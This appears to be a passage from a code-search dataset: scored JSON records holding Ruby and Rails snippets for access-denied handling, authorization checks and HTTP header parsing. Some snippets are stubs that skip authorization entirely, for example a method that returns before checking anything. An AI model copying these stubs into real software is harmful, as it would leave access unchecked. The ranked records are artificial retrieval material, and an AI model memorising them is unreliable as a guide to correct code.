end", "title": "" }, { "docid": "c8c9109b279ac909896f5b3146625317", "score": "0.69855106", "text": "def access_denied\n render :text=>\"Access denied\", :status => 403\n end", "title": "" }, { "docid": "d45591e565ce313d520bfdaf6453a0c3", "score": "0.6971181", "text": "def permission_denied\n head :unauthorized\n end", "title": "" }, { "docid": "a81a9887bdeaf6e3a129a5fa775830f4", "score": "0.69677967", "text": "def authorize!(action, subject, *args)\n raise AccessDenied if cannot?(action, subject, *args)\n end", "title": "" }, { "docid": "3bfc8540e6acfe9fe80f3bf7d77b027c", "score": "0.6964948", "text": "def access_denied\n render :text => \"Access denied.\"\n end", "title": "" }, { "docid": "6a2050ac8bf69b5be4a64852e4a80470", "score": "0.6963387", "text": "def access_denied(*args)\n options = args.extract_options!\n record = args.shift\n message = args.shift\n if message.blank? && record.instance_of?(String)\n message = record\n record = nil\n end\n options[:message] = message if message.present?\n options[:authable] = msg_class_id(record) if record.present?\n debug_message \"[debug-authorize] Access denied message: [#{message.inspect}] [#{options.inspect}]\" if debug?\n subject = current_record.present? ? msg_class_id(current_record) : model_class\n controller.send(:raise_access_denied_exception, nil, action, subject, options)\n end", "title": "" }, { "docid": "d3139cab97c36b4621d000b1bdd7b7ca", "score": "0.69619", "text": "def authorize_with_warning(action)\n role = ZeroAuthorization::Role.role\n raise ZeroAuthorization::Exceptions::RoleNotAvailable, 'Executing authorize_with_warning but role not available' if role.nil?\n\n if zero_authorized_core(role, action)\n return true\n else\n logger.debug 'ERROR: ZeroAuthorization: Not authorized to perform activity.'\n self.errors.add(:authorization_error, 'occurred, Unauthorized to perform this activity')\n end\n\n false\n end", "title": "" }, { "docid": "a1a504ee8c45372b9ee66e8cc32c5591", "score": "0.69553304", "text": "def authorize!(action, subject = nil)\n\n\n\n unless authorized? action, subject\n\n\n\n raise ActiveAdmin::AccessDenied.new(current_active_admin_user,\n\n\n\n action,\n\n\n\n subject)\n\n\n\n end\n\n\n\n end", "title": "" }, { "docid": "1067e4d7f12ca9efae6b2a1fbe0137da", "score": "0.69544077", "text": "def authorize!(record, action)\n error!({error: 'Forbidden',\n detail: \"Not authorized for resource\",\n status: '403'},\n 403) unless authorize record, action\n end", "title": "" }, { "docid": "1370bb97585bd64e24fc817751eb71d4", "score": "0.6951257", "text": "def permission_denied\n render 'errors/forbidden'\n end", "title": "" }, { "docid": "cae6378d898f5de9fff1a356f937dfca", "score": "0.6926121", "text": "def handle_unauthorized(resource)\n redirect_to outpost.root_path,\n alert: \"You don't have permission to manage \" \\\n \"#{resource.to_title.pluralize}\"\n return false\n end", "title": "" }, { "docid": "2e758d6968256612f39b4afc319d3026", "score": "0.69235015", "text": "def permission_denied\n\t respond_to do |format|\n\t flash[:error] = t('error_denied')\n\t format.html { redirect_to root_url }\n\t format.xml { head :unauthorized }\n\t format.js { head :unauthorized }\n\t end\n\t end", "title": "" }, { "docid": "5d38aabbbc222d0d4923627f36420599", "score": "0.6917073", "text": "def access_denied\n render :text => \"You don't have access to this\"\n end", "title": "" }, { "docid": "76abf1a1572390ff4739a5b45343a61b", "score": "0.6915564", "text": "def permission_denied\n respond_to do |format|\n flash[:error] = I18n.t 'txt.unauthorized_access'\n format.html { redirect_back_or_default root_url }\n format.xml { head :unauthorized }\n format.js { head :unauthorized }\n end\n end", "title": "" }, { "docid": "ffe5a099a6cad4252e2858405f4e52d4", "score": "0.6911338", "text": "def authorization_filter!\n # this isn't a very good guess. Can we do better?\n resource_guess = self.class\n decision = get_authorization_with_args :for => current_user,\n :to => params[:action],\n :on => resource_guess,\n :context => params\n raise(decision||AccessDenied) if is_denial?(decision)\n decision\n end", "title": "" }, { "docid": "11bc7b1b016c417963c8b8fc41083dfc", "score": "0.6905104", "text": "def permission_denied\n\t\trespond_to do |format|\n\t\t\tformat.html { render 'application/permission_denied' }\n\t\t\tformat.json { render json: 'Permission Denied' }\n\t\tend\n end", "title": "" }, { "docid": "3b147807b729f1b4b7655d079124112a", "score": "0.6901134", "text": "def anon_cant(attempted_action)\n # session[:left_off] = attempted_action\n # render 'errors/not_logged_in', status: :forbidden\n resumable_error(attempted_action, 'not_logged_in')\n end", "title": "" }, { "docid": "b289b05e1993973413a321d2c5911713", "score": "0.68959916", "text": "def forbid?(action)\n return !permit?(action)\n end", "title": "" }, { "docid": "74b33df260e4eb68726dfa2d4f069a07", "score": "0.68906456", "text": "def invalid_permission\n flash[:warning] = \"Sorry, you don't have permission to perform that action\"\n redirect_to root_path\n end", "title": "" }, { "docid": "4ed0092445cf30c3b6d48e43dfdd0cc1", "score": "0.68902314", "text": "def redirect_unauthorized_access\n exception = $! # Exception is not given as a parameter, so we use Ruby's $! to fetch the last parameter\n Rails.logger.debug \"Access denied on action #{exception.action}, subject: #{exception.subject.inspect}\"\n\n super\n end", "title": "" }, { "docid": "3a9a8a72f8474ba1d3644383deb74c6f", "score": "0.6889667", "text": "def render_access_denied\n render_error_data :message => 'Admin access only.', :reason => :denied\n false\n end", "title": "" }, { "docid": "12b313c92ed2f549120845598ff2b6eb", "score": "0.68877566", "text": "def permission_denied\n\t flash[:notice] = \"Please log in to continue.\"\n\t if current_user\n\t \tredirect_url = user_path(current_user)\n\t else \n\t \tredirect_url = login_url\n\t end\n\t respond_to do |format|\n\t format.html { redirect_to redirect_url }\n\t format.xml { head :unauthorized }\n\t format.js { head :unauthorized }\n\t end\n\t end", "title": "" }, { "docid": "c41e72c0e4e5df26def20708c980c34d", "score": "0.6887381", "text": "def authorize_action?(permission, resource, other_resources, actor_or_id)\n false\n end", "title": "" }, { "docid": "a1d419378371a6db143c57f998e39b16", "score": "0.6882165", "text": "def access_denied\n render :text => \"You don't have access to this resource\", :status => 401\n false\n end", "title": "" }, { "docid": "586bec51d589f9a4b78ec88479f3c71c", "score": "0.6879371", "text": "def authorize(action, subject)\n Pundit.authorize(user, subject, normalize(action)) && subject\n rescue ::Pundit::NotAuthorizedError\n Rails.logger.info I18n.t('errors.unauthorized', user: user, action: action, subject: subject)\n raise Forbidden\n end", "title": "" }, { "docid": "ca8fd185f0e94dba095f655b46114bc3", "score": "0.6865768", "text": "def authorize(action, subject)\n ability.authorize! action, subject\n rescue ::CanCan::AccessDenied\n Logger.error <<~MESSAGE\n #{Utils.inspect user} is forbidden to perform #{action} on #{Utils.inspect subject}\n MESSAGE\n raise Forbidden\n end", "title": "" }, { "docid": "a72e1f7f2756ea86ef3f6ef9c45922ca", "score": "0.68535745", "text": "def permission_denied\n flash[:error] = \"Sorry, you are not allowed to access that page.\"\n redirect_to asset_manager_login_url\n end", "title": "" }, { "docid": "a6004924af30b8b95c5a62bb0b6accdd", "score": "0.6840145", "text": "def access_denied?\n !denied.nil?\n end", "title": "" }, { "docid": "9fb2900349a0f6906ba534538f175996", "score": "0.6835574", "text": "def permission_denied\n\tflash[:notice] = \"You don't have permission to do that!\"\n\tredirect_back_or_default('/')\n end", "title": "" }, { "docid": "f88d34b9b51abf4b93caf56585d0b400", "score": "0.68350023", "text": "def comment_access_denied\n redirect_to root_path, notice: t('application.no_permission') and return false # \"You do not have permission to access this feature.\"\n end", "title": "" }, { "docid": "d7b55fcf1b090fae995f0bc9a9dabf08", "score": "0.6820646", "text": "def authorize!(action, subject = nil)\n unless authorized? action, subject\n raise ActiveAdmin::AccessDenied.new(\n current_active_admin_user,\n action,\n subject)\n end\n end", "title": "" }, { "docid": "e05b070a87b12e498352ef671f9fb03a", "score": "0.6816359", "text": "def access_denied\n if current_user\n redirect_to root_path, error: \"you weren't authorized to #{params[:action]} in #{params[:controller]}\"\n else\n # the problem is almost certainly lack of login\n redirect_to new_user_session_path\n end\n end", "title": "" }, { "docid": "eff1e3f8e268324ef88f93be16c6c60d", "score": "0.6810813", "text": "def denied\n \t\n \tputs \"in denied\"\n \tflash[:notice] = \"You don't have permission to perform this action\"\n \t\n \t#@page_title = \"Access Denied!\"\n \trender :template => \"login/denied\",:layout => \"content\"\n end", "title": "" }, { "docid": "f1039d621461b44ad96f22b5d6ab72b8", "score": "0.68102336", "text": "def access_denied\n #flash.now[:error] = t('application.messages.no_permission')\n render :partial => 'shared/errors/error403', :status => 403, :layout => true and return false\n end", "title": "" }, { "docid": "afc7e6db7a2bb7a51210a16cdd4879fc", "score": "0.6807177", "text": "def authorize_resource!(action, resource)\n # raise AuthorizationError\n end", "title": "" }, { "docid": "afc7e6db7a2bb7a51210a16cdd4879fc", "score": "0.6807177", "text": "def authorize_resource!(action, resource)\n # raise AuthorizationError\n end", "title": "" }, { "docid": "b58c2c6bfd1db889b29729b0e509d2bc", "score": "0.6795842", "text": "def authorize_action\n required_permission = \"%s/%s\" % [ params[\"controller\"], params[\"action\"] ]\n logger.debug \"required_perm is #{required_permission}\"\n\n controller = params[\"controller\"]\n action = params[\"action\"]\n\n # EVERYONE should be able to get to the root. This might never come up, but\n # better to be safe than sorry. This condition could just as easily be\n # appended to the Guest check below, but it's clearer up here.\n if (controller == nil && action == nil)\n return true\n end\n\n # if the controller wasn't nil, but the action was, then we want to \n # set the action to \"index\" so we can check authentication properly\n action ||= \"index\"\n\n # If someone is or can be logged in...\n # calling 'user?' from the LoginEngine will ensure that a User is\n # loaded into the session if possible. It could either be there already\n # or via a user_id and security key\n if user?\n # ... then if that logged user is NOT authorised...\n\n unless current_user.authorized?(controller, action)\n # YOU... SHALL... NOT... PASS!\n\n flash[:message] = \"Permission warning: You are not authorized for the action '#{required_permission}'.\" \n \n # Here we are distinguishing between unauthorized actions and actions which do\n # not exist. It *might* be better to employ a 'steath' technique and simple\n # claim that all nonsense actions are unauthorized too... but that can make it\n # difficult to debug.\n if !UserEngine.config(:stealth)\n if Permission.find_by_controller_and_action(controller, action)\n\n # This is a real action, but the user is not allowed to perform it.\n allowed_roles = Permission.find_by_controller_and_action(controller, action).roles.collect {|r| r.name}.join(', ')\n your_roles = current_user.roles.collect {|r| r.name}.join(', ')\n flash[:message] << \" Allowed Roles: #{allowed_roles}. User '#{current_user.login}' has only the following: #{your_roles}.\"\n \n else # This wasn't even a real action.\n logger.debug \"Permissions does not exist: #{required_permission}\"\n end\n end\n\n # Otherwise, just send them back to where they were. If they clicked a link, \n # we'll have the HTTP_REFERER information. Otherwise we'll use our 'prev_uri'\n # information. If we have nothing, set it to be the root.\n return_uri = request.env['HTTP_REFERER'] || session['prev_uri'] || \"/\"\n # The user wasn't allowed to perform this action. Try and redirect them somewhere\n # If they are no longer allowed to see the page they came here from, \n # go back to square one. We need to match the URI against the required permission.\n return_uri = \"/\" if return_uri =~ /\\S*\\:\\/\\/\\S*\\/#{required_permission}\\S*/\n\n # redirect & return false to indicate that controller action processing should NOT continue.\n redirect_to return_uri\n return false\n end\n else\n \n # noone is or can be logged in...\n unless User.guest_user_authorized?(controller, action) \n flash[:message] = \"You need to log in.\" \n store_location\n redirect_to UserEngine.config(:login_page)\n return false\n end\n end \n\n # If we get here, the user is either a guest and this action is permitted\n # for guest users, or the user is logged in and the action is permitted by\n # one or more of their associated roles. Let them pass..\n\n session[\"prev_uri\"] = request.request_uri\n return true \n end", "title": "" }, { "docid": "6178cd4f9b525111505942dee7712709", "score": "0.6790835", "text": "def require_permission\n return if @resource.nil? # this not needed for dataset upsert with identifier\n\n render json: { error: 'unauthorized' }.to_json, status: 401 unless @resource.permission_to_edit?(user: @user)\n end", "title": "" }, { "docid": "e50dab9caa064ecebc093698513e513e", "score": "0.67713916", "text": "def handle_permission_undefined(failure)\n false\n end", "title": "" }, { "docid": "4dde483e0d0bfa4e22613733acd4c3d0", "score": "0.6769768", "text": "def permission_denied\n render :partial => \"shared/permission_denied\",\n :layout => \"comatose_admin\",\n :status => :forbidden\n end", "title": "" }, { "docid": "0ebbc6f428a2af8aa52dd84ae9585bca", "score": "0.6761131", "text": "def no!\n raise BravoGuard::PermissionDenied\n end", "title": "" }, { "docid": "de68ed52b481625eba44a1f3917a29cb", "score": "0.6752147", "text": "def note_access_denied(exception)\r\n logger.warn \"Security Exception (#{exception}): Access denied for '#{current_user.login}' from #{request.remote_ip} at #{Time.now.utc}, attempting '#{request.fullpath}', (#{self.controller_name}: #{self.action_name}).\"\r\n end", "title": "" }, { "docid": "fde9395963f29d9f388a230a340f22ef", "score": "0.67477417", "text": "def access_denied\n \n respond_to do |format|\n format.html do \n render :text => 'access_denied: requires an role' and return\n end\n \n format.json do \n render :json => {:success => false , :access_denied => true } and return\n end\n end\n \n end", "title": "" }, { "docid": "bea398a12a45c859afe8fdc978f3640e", "score": "0.67466545", "text": "def deny_access(exception)\n # For the JSON message, we don't want to display the default CanCan messages,\n # just custom Hydra messages such as \"This item is under embargo.\", etc.\n json_message = exception.message if exception.is_a? Hydra::AccessDenied\n if current_user&.persisted?\n deny_access_for_current_user(exception, json_message)\n else\n deny_access_for_anonymous_user(exception, json_message)\n end\n end", "title": "" }, { "docid": "bea398a12a45c859afe8fdc978f3640e", "score": "0.67466545", "text": "def deny_access(exception)\n # For the JSON message, we don't want to display the default CanCan messages,\n # just custom Hydra messages such as \"This item is under embargo.\", etc.\n json_message = exception.message if exception.is_a? Hydra::AccessDenied\n if current_user&.persisted?\n deny_access_for_current_user(exception, json_message)\n else\n deny_access_for_anonymous_user(exception, json_message)\n end\n end", "title": "" }, { "docid": "da84af72f81deaad99ae748e90fb577e", "score": "0.6744425", "text": "def handle_permission_undefined(failure)\n true\n end", "title": "" }, { "docid": "1605c2be841db4eec3a5c63046971902", "score": "0.67385554", "text": "def reject_access\n flash[:alert] = \"You do not have access to that action.\"\n redirect_to root_path\n end", "title": "" }, { "docid": "9f726b88e63a79a867736689bb238c3a", "score": "0.6738324", "text": "def access_forbidden\n false\n end", "title": "" }, { "docid": "9f726b88e63a79a867736689bb238c3a", "score": "0.6738324", "text": "def access_forbidden\n false\n end", "title": "" }, { "docid": "7fd8fc5024879d6597e9da6a36c2661e", "score": "0.6737326", "text": "def check_permission_for_action\n is_permitted = action_permitted?(action_name)\n\n case\n # Action is not permitted without sign in\n when !current_user && !is_permitted\n cache_requested_url\n redirect_to sign_in_path, notice: 'Please sign in.'\n\n # Action is not permitted\n when current_user && !is_permitted\n redirect_back default_path: root_path, notice: 'You do not have permission to execute this action.'\n\n # Action is permitted (no need to do anything)\n end\n end", "title": "" }, { "docid": "98561c6953a87950dd5203082ff3fdf4", "score": "0.67305154", "text": "def check_if_user_can_perform_action_on_resources\n\n return unless Typus.authentication.eql?(:session)\n\n message = case params[:action]\n when 'index', 'show'\n \"%{current_user_role} can't display items.\"\n when 'destroy'\n \"%{current_user_role} can't delete this item.\"\n else\n \"%{current_user_role} can't perform action. (%{action})\"\n end\n\n message = _(message,\n :current_user_role => @current_user.role.capitalize,\n :action => params[:action])\n\n unless @current_user.can?(params[:action], @resource)\n flash[:notice] = message\n redirect_to set_path\n end\n\n end", "title": "" }, { "docid": "2e3091d4ea69eafb0555cf1e6874bd84", "score": "0.6710769", "text": "def access_is_denied\n redirect_to root_path, notice: t(\"application.access_is_denied\") and return false # Established users cannot use this option\n end", "title": "" }, { "docid": "b11b32a64c44bf0895c2625d9bd24977", "score": "0.67067116", "text": "def render_access_denied(e)\n error = ::CanCan::AccessDenied.new(e.message, action_name.to_sym, instance_model_var)\n render json: {:errors => cancan_message(error)}, status: 423\n end", "title": "" }, { "docid": "0863731d484999ca7fd2aa18b4d167bc", "score": "0.6703293", "text": "def access_denied\n return render(text: 'something wrong.')\n end", "title": "" }, { "docid": "ce68006a27efb391401a6696cd25de4d", "score": "0.6700829", "text": "def forbidden\n \"Permission denied\"\n end", "title": "" }, { "docid": "e910c14b59989642940efd94ccb0327b", "score": "0.67004114", "text": "def permission_denied(exception)\n log_error(exception, request.fullpath)\n render \"errors/permission_denied\"\n end", "title": "" }, { "docid": "96603e17c68ba0908c3d2d9babafc8ea", "score": "0.6683745", "text": "def cannot?(action_codes)\n !can? action_codes\n end", "title": "" }, { "docid": "2fd61f5cfbb30a236f6b084134d6ae55", "score": "0.6680568", "text": "def authorization_denied\n puts \"authorization denied\"\n store_location\n flash[:notice] = \"You've been denied.\"\n redirect_to new_user_session_url\n #TODO: Redirect back or default\n return false\n end", "title": "" }, { "docid": "a7ee3e666d7988595584963d32c7eb77", "score": "0.6679504", "text": "def permission_denied\n flash[:notice] = \"Da haben wir einen Riegel vorgeschoben und zwar keinen Schokoriegel!\"\n\n redirect_to(request.referrer || root_path)\n end", "title": "" }, { "docid": "7594016bc180b90a41dd7080cd7938ae", "score": "0.6665557", "text": "def require_permission\n render json: { error: 'unauthorized' }.to_json, status: 401 unless @resource.can_edit?(user: @user)\n end", "title": "" }, { "docid": "e758a10703a5385ccc7d357e77957e6e", "score": "0.6663269", "text": "def action_authorize!(space=record_authable)\n # Do not do any additional authorization if superuser.\n return\n return if current_user.superuser?\n end", "title": "" }, { "docid": "dd34089724ba2ed5ab4cd3e426335b93", "score": "0.666178", "text": "def authorize(action, subject)\n Pundit.authorize(user, subject, normalize(action)) && subject\n rescue ::Pundit::NotAuthorizedError\n Logger.error <<~MESSAGE\n #{Utils.inspect user} is forbidden to perform #{action} on #{Utils.inspect subject}\n MESSAGE\n raise Forbidden\n end", "title": "" }, { "docid": "cf5de820ee6909978ce569a3c2812501", "score": "0.6657007", "text": "def authority_forbidden(error)\n render json: { messages:\n [{ text: \"Sorry, you aren't allowed to do that.\", severity:\"error\" }]\n }, :status => 403\n end", "title": "" }, { "docid": "04dff28b61b66548621e4176d285decb", "score": "0.6651794", "text": "def attempted_action; end", "title": "" }, { "docid": "af3a3236a076eb4b0559a290b7dda550", "score": "0.6646406", "text": "def permission_denied\n flash[:error] = \"Sorry, you are not allowed to access that page.\"\n redirect_to root_url\n end", "title": "" } ]
2fdfbf79c6fc81c0ccdb70b59405eb5d
Poltergeist will append HTTP_ to headers variables, but since we check for either when testing, it doesn't matter.
[ { "docid": "b76ddf72e3c52fd7d7469d97f6b2b42e", "score": "0.0", "text": "def request_headers(user = nil)\n return {} unless user\n\n { 'REMOTE_USER' => user.login }\n end", "title": "" } ]
[ { "docid": "3ce5369c874d54bb815ba93f4006e05c", "score": "0.7180543", "text": "def http_headers=(env)\n @http_headers = env.select {|header, value| header.to_s.start_with? \"HTTP_\"}\n end", "title": "" }, { "docid": "f964a1a7e498ac3b39c2c19897c88c55", "score": "0.70684916", "text": "def send_headers?; end", "title": "" }, { "docid": "24fb8c431679a4dc0281f175d171ca21", "score": "0.70325035", "text": "def http_headers; end", "title": "" }, { "docid": "d715918594ac14b5f700960529324ded", "score": "0.6976031", "text": "def header(param)\r\n env[ \"HTTP_#{param.gsub('-', '_').upcase}\" ]\r\nend", "title": "" }, { "docid": "a3d7b48ae6aeb64f34abd240a6cc7b68", "score": "0.6904515", "text": "def http_headers=(_arg0); end", "title": "" }, { "docid": "f374129e3d73eeffbcc974f7ddfbcd24", "score": "0.68674064", "text": "def headers\n pairs = env.select {|k,v| k.start_with? 'HTTP_'}\n .collect {|pair| [pair[0].sub(/^HTTP_/, '').gsub(/_/, '-'), pair[1]]}\n .sort\n headers = Hash[*pairs.flatten]\n headers\n end", "title": "" }, { "docid": "4e37eae0d5cc7dde0cb170122a192bb9", "score": "0.68658525", "text": "def request_headers\n env.inject({}){|acc, (k,v)| acc[$1.downcase] = v if k =~ /^http_(.*)/i; acc}\nend", "title": "" }, { "docid": "07795a64c6a0b935484e88c9ef331e28", "score": "0.6860876", "text": "def headers\n @headers ||= request.env.inject({}) { |memo, kv| memo[$2.tr(\"-\", \"_\").downcase.to_sym] = kv[1] if kv[0] =~ /^(HTTP_)(.*)/; memo }\n end", "title": "" }, { "docid": "992465a6fc9b3abe368fd1a80d0132a0", "score": "0.67962927", "text": "def request_headers(env)\n env.select { |key, _| key[0, 5] == 'HTTP_' }\n end", "title": "" }, { "docid": "03977e8793aa4ad2e9170d6d24e4889b", "score": "0.67589426", "text": "def request_headers\n request.env.inject({}) {|acc, (k,v)| acc[$1.downcase] = v if k =~ /^http_(.*)/i; acc}\nend", "title": "" }, { "docid": "b54b9cfc6c342efaa8fa683ee050ee6c", "score": "0.6696194", "text": "def get_request_headers(hash)\n hash.inject({}) do |sum, (key, value)|\n case key\n when 'HTTP_HOST'\n sum.merge('Host' => TWITTER.host)\n when /^HTTP_(.+)/\n key = $1.split('_').collect {|x| x.capitalize }.join('-')\n sum.merge(key => value)\n else\n sum\n end\n end\nend", "title": "" }, { "docid": "5a37978ea3523c9dc8396da00e5132b3", "score": "0.6685732", "text": "def extract_headers\n request.env.\n select { |k, _| k.start_with? \"HTTP_\" }.\n transform_keys { |k| k.sub(/^HTTP_/, \"\").split(\"_\").map(&:capitalize).join(\"-\") }\nend", "title": "" }, { "docid": "00688e93d1e48b231f0b4fc2c975e544", "score": "0.6681806", "text": "def wrap_headers!; end", "title": "" }, { "docid": "c5aafd830143146eca35a0ed9deb9788", "score": "0.666606", "text": "def http_headers\n headers_hash.each_with_object({}) do |(key, value), headers|\n name = key[5..-1].split('_').map(&:titleize).join('-')\n headers[name] = value\n end\n end", "title": "" }, { "docid": "8d3f0640f46438f3a05bc13d392cfa71", "score": "0.6625045", "text": "def default_http_headers; end", "title": "" }, { "docid": "228811f8cb6424bdc7658f5a890447a7", "score": "0.66044015", "text": "def get_headers()\n ENV\n .select { |k,v| k.start_with? 'HTTP_' or k == \"CONTENT_TYPE\" }\n .collect { |key, val| [ key.sub(/^HTTP_/, '').downcase, val ] }\n .to_h\nend", "title": "" }, { "docid": "7d3699d54fde960c416f98334f8100ec", "score": "0.65730417", "text": "def response_headers; end", "title": "" }, { "docid": "7d3699d54fde960c416f98334f8100ec", "score": "0.65730417", "text": "def response_headers; end", "title": "" }, { "docid": "333473cde046f8782fac1adbff300a12", "score": "0.6565155", "text": "def http_headers(_server)\n {}\n end", "title": "" }, { "docid": "29aafd5a9d6e43d25b3a0fcaf0a74cd2", "score": "0.65604764", "text": "def headers=(_); end", "title": "" }, { "docid": "140b71d08991a5ad99821f4c664fff93", "score": "0.6553613", "text": "def request_header; end", "title": "" }, { "docid": "6f33c418d29308454c8fb95d326e21db", "score": "0.6538421", "text": "def sanitize_http_headers; end", "title": "" }, { "docid": "d048535d3ad520633ad61aee02641386", "score": "0.653351", "text": "def response_header; end", "title": "" }, { "docid": "fbe5f6d74f260dd21aa9d21ead25b167", "score": "0.651945", "text": "def request_headers; end", "title": "" }, { "docid": "ae88879c44703fc7e1858904f16f4c2d", "score": "0.65088725", "text": "def unwrap_headers(headers, env)\n\t\t\t\theaders.each do |key, value|\n\t\t\t\t\thttp_key = \"HTTP_#{key.upcase.tr('-', '_')}\"\n\t\t\t\t\t\n\t\t\t\t\tif current_value = env[http_key]\n\t\t\t\t\t\tenv[http_key] = \"#{current_value};#{value}\"\n\t\t\t\t\telse\n\t\t\t\t\t\tenv[http_key] = value\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "16dabea36c341078951963fb82c61238", "score": "0.65047985", "text": "def sanitize_http_headers=(_arg0); end", "title": "" }, { "docid": "01fdd2ae6802bdc5fe4796f247a6c950", "score": "0.6487659", "text": "def request_headers\n @env.select { |key, value| key =~ /^HTTP_/ }\n end", "title": "" }, { "docid": "758d6125eb58c70522a1f0c2bc837028", "score": "0.6485012", "text": "def common_req_headers\n { 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8',\n :redirects => 3 }.merge(auth_header)\n end", "title": "" }, { "docid": "351eb9000f18fba1f62f172e2fefecf1", "score": "0.6481793", "text": "def get_headers\n Hash[*env.select {|k,v| k.start_with?('HTTP_') || (k == 'CONTENT_TYPE') }\n .collect {|k,v| [k.sub(/^HTTP_/, ''), v]}\n .collect {|k,v| [k.split('_').collect(&:capitalize).join('-'), v]}\n .sort\n .flatten].except('Host', 'Connection', 'Version', 'X-Forwarded-For', 'X-Forwarded-Port', 'X-Forwarded-Proto')\n end", "title": "" }, { "docid": "d451b7f80d06451e714b2f9b13385290", "score": "0.64673847", "text": "def custom_headers; end", "title": "" }, { "docid": "4366bed1d3d32b2bb0ee44ee5a707e50", "score": "0.6464531", "text": "def rack_headers; end", "title": "" }, { "docid": "e1f720aed549039010e5375efbe247d9", "score": "0.64590985", "text": "def setup_header() # :nodoc:\n @reason_phrase ||= HTTPStatus::reason_phrase(@status)\n @header['server'] ||= @config[:ServerSoftware]\n @header['date'] ||= Time.now.httpdate\n\n # HTTP/0.9 features\n if @request_http_version < \"1.0\"\n @http_version = HTTPVersion.new(\"0.9\")\n @keep_alive = false\n end\n\n # HTTP/1.0 features\n if @request_http_version < \"1.1\"\n if chunked?\n @chunked = false\n ver = @request_http_version.to_s\n msg = \"chunked is set for an HTTP/#{ver} request. (ignored)\"\n @logger.warn(msg)\n end\n end\n\n # Determine the message length (RFC2616 -- 4.4 Message Length)\n if @status == 304 || @status == 204 || HTTPStatus::info?(@status)\n @header.delete('content-length')\n @body = \"\"\n elsif chunked?\n @header[\"transfer-encoding\"] = \"chunked\"\n @header.delete('content-length')\n elsif %r{^multipart/byteranges} =~ @header['content-type']\n @header.delete('content-length')\n elsif @header['content-length'].nil?\n if @body.respond_to? :readpartial\n elsif @body.respond_to? :call\n make_body_tempfile\n else\n @header['content-length'] = (@body ? @body.bytesize : 0).to_s\n end\n end\n\n # Keep-Alive connection.\n if @header['connection'] == \"close\"\n @keep_alive = false\n elsif keep_alive?\n if chunked? || @header['content-length'] || @status == 304 || @status == 204 || HTTPStatus.info?(@status)\n @header['connection'] = \"Keep-Alive\"\n else\n msg = \"Could not determine content-length of response body. Set content-length of the response or set Response#chunked = true\"\n @logger.warn(msg)\n @header['connection'] = \"close\"\n @keep_alive = false\n end\n else\n @header['connection'] = \"close\"\n end\n\n # Location is a single absoluteURI.\n if location = @header['location']\n if @request_uri\n @header['location'] = @request_uri.merge(location).to_s\n end\n end\n end", "title": "" }, { "docid": "f26060c2b8e99ce71628129a0ba5e0a0", "score": "0.6413474", "text": "def include_in_headers; end", "title": "" }, { "docid": "5da37fa693213e0e83fc00e93fb106a2", "score": "0.6399881", "text": "def client_request_headers\n # POST /some/url HTTP/1.1\n # Accept: application/json\n # Content-Type: application/json\n headers = request.env.select { |k,v| k.start_with? 'HTTP_' } \\\n .collect { |pair| [ pair[0].sub(/^HTTP_/, ''), pair[1] ] } \\\n .collect { |pair| pair.join(': ') }\n\n headers\n end", "title": "" }, { "docid": "ff58506084d14cc3cf11e5a0d03c5061", "score": "0.6386269", "text": "def test_case_insenstive_header_names\n headers = MIME::Header.new\n headers.set 'from', 'user1'\n assert_equal 'from: user1', headers.to_s\n headers.set 'FROM', 'user1'\n assert_equal 'FROM: user1', headers.to_s\n headers.set 'From', 'user2'\n assert_equal 'From: user2', headers.to_s\n headers.delete 'fROM'\n assert_equal '', headers.to_s\n end", "title": "" }, { "docid": "fc089cd0cb065441518b77a11cd59822", "score": "0.63746357", "text": "def add_conditional_headers(req, opts)\n\n # nada\n end", "title": "" }, { "docid": "0a6a7ca0b8bcfc40c77dfe617da226aa", "score": "0.6359482", "text": "def http_headers=(new_http_headers)\n new_http_headers = Hash[new_http_headers.map { |k, v|\n [k.to_s, v.to_s]\n }].freeze\n if new_http_headers != http_headers\n @rpc.call 'Network.setExtraHTTPHeaders', headers: new_http_headers\n @http_headers = new_http_headers\n end\n new_http_headers\n end", "title": "" }, { "docid": "24c4dbf028e523cc9d5a0d5c3adec79b", "score": "0.63486254", "text": "def set_server_headers(env)\n env.each do |k, v|\n next unless k.match(/^HTTP_/)\n name = k.sub(/^HTTP_/, '').split(/_/).map { |x| x.capitalize }.join('-')\n @detect_request[name] = v\n end\n end", "title": "" }, { "docid": "87ac5ddf874163813abd1ad597401082", "score": "0.63464165", "text": "def test_headers\n headers = {\n @@test_header_name => @@test_header_value\n }\n uri = _uri_build('/require_header')\n result = @fetcher.fetch(uri, nil, headers)\n # The real test runs under the WEBrick handler _require_header,\n # this just checks the return code from that.\n assert_equal '200', result.code, @logfile.string\n end", "title": "" }, { "docid": "0acc4de8b5e74a4a7390c212c6a18590", "score": "0.6335449", "text": "def lightstep_filtered_headers\n filtered_ot_headers = {}\n headers = request.headers.to_h\n headers.each do |k, v|\n fk = k.to_s.downcase.gsub('http_', '').tr('_', '-')\n next unless OPEN_TRACING_HEADER_KEYS.include?(fk)\n\n filtered_ot_headers[fk] = v\n end\n filtered_ot_headers\n end", "title": "" }, { "docid": "e511d2fd7090663bc4d1a2325dfba87a", "score": "0.63240653", "text": "def test_get_headers_allow_extra()\n\n # Perform the API call through the SDK function\n @controller.get_headers()\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test headers\n expected_headers = {}\n expected_headers['naumanali'] = nil\n expected_headers['waseemhasan'] = nil\n\n assert(TestHelper.match_headers(expected_headers, @response_catcher.response.headers))\n end", "title": "" }, { "docid": "b40a4324e08c40f8e7eaa8c7f0413c94", "score": "0.63020015", "text": "def str_headers(env, status, headers, res_info, lines)\n line_ending = LINE_END\n colon = COLON\n\n http_11 = env[HTTP_VERSION] == HTTP_11\n if http_11\n res_info[:allow_chunked] = true\n res_info[:keep_alive] = env.fetch(HTTP_CONNECTION, \"\").downcase != CLOSE\n\n # An optimization. The most common response is 200, so we can\n # reply with the proper 200 status without having to compute\n # the response header.\n #\n if status == 200\n lines << HTTP_11_200\n else\n lines.append \"HTTP/1.1 \", status.to_s, \" \",\n fetch_status_code(status), line_ending\n\n res_info[:no_body] ||= status < 200 || STATUS_WITH_NO_ENTITY_BODY[status]\n end\n else\n res_info[:allow_chunked] = false\n res_info[:keep_alive] = env.fetch(HTTP_CONNECTION, \"\").downcase == KEEP_ALIVE\n\n # Same optimization as above for HTTP/1.1\n #\n if status == 200\n lines << HTTP_10_200\n else\n lines.append \"HTTP/1.0 \", status.to_s, \" \",\n fetch_status_code(status), line_ending\n\n 